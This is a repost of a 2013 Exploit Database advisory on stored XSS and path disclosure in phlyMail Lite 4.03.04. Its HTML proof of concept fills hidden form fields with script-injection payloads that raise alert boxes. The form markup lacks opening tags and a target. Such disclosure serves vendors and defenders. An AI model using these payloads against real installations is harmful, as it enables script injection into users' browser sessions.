phlyLabs phlyMail Lite 4.03.04 – Full Path Disclosure / Persistent Cross-Site Scripting

Exploit Database
114 阅读

作者： LiquidWorm

日期： 2013-01-13
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/24087/

<!--

phlyLabs phlyMail Lite 4.03.04 Path Disclosure and Stored XSS Vulnerabilities

Vendor: phlyLabs

Product web page: http://www.phlymail.com

Affected version: Lite 4.03.04

Summary: phlyMail offers you an interface in the browser to have access

to your emails, contacts, appointments, tasks, files and bookmakrs from

anyhwere, where you have internet access. This can be your home, workplace,

train station, abroad, offroad, in the woods or your own backyard.

Desc: phlyMail suffers from multiple stored XSS vulnerabilities (post-auth)

and Path Disclosure when input passed via several parameters to several scripts

is not properly sanitized before being returned to the user. This can be exploited

to execute arbitrary HTML and script code in a user's browser session in context

of an affected site and displaying the full webapp installation path.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)

Apache 2.4.2 (Win32)

PHP 5.4.4

MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

@zeroscience

Advisory ID: ZSL-2013-5122

Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5122.php

13.01.2013

-->

<html>

<head>

<title>phlyLabs phlyMail Lite 4.03.04 Path Disclosure and Stored XSS Vulnerabilities</title>

</head>

<input type="hidden" name="PHM[cellular]" value='"><script>alert(1);</script>' />

<input type="hidden" name="PHM[customer_number]" value='"><script>alert(2);</script>' />

<input type="hidden" name="PHM[email]" value='"><script>alert(3);</script>' />

<input type="hidden" name="PHM[externalemail]" value='"><script>alert(4);</script>' />

<input type="hidden" name="PHM[fax]" value='"><script>alert(5);</script>' />

<input type="hidden" name="PHM[firstname]" value='"><script>alert(6);</script>' />

<input type="hidden" name="PHM[lastname]" value='"><script>alert(7);</script>' />

<input type="hidden" name="PHM[tel_business]" value='"><script>alert(8);</script>' />

<input type="hidden" name="PHM[tel_private]" value='"><script>alert(9);</script>' />

<input type="hidden" name="PHM[www]" value='"><script>alert(10);</script>' />

<input type="hidden" name="uid" value='"><script>alert(11);</script>' />

</form>

<br />

<input type="hidden" name="name" value='"><script>alert(12);</script>' />

<input type="hidden" name="url" value='"><script>alert(13);</script>' />

</form>

<br />

</form>

</center></body>

</html>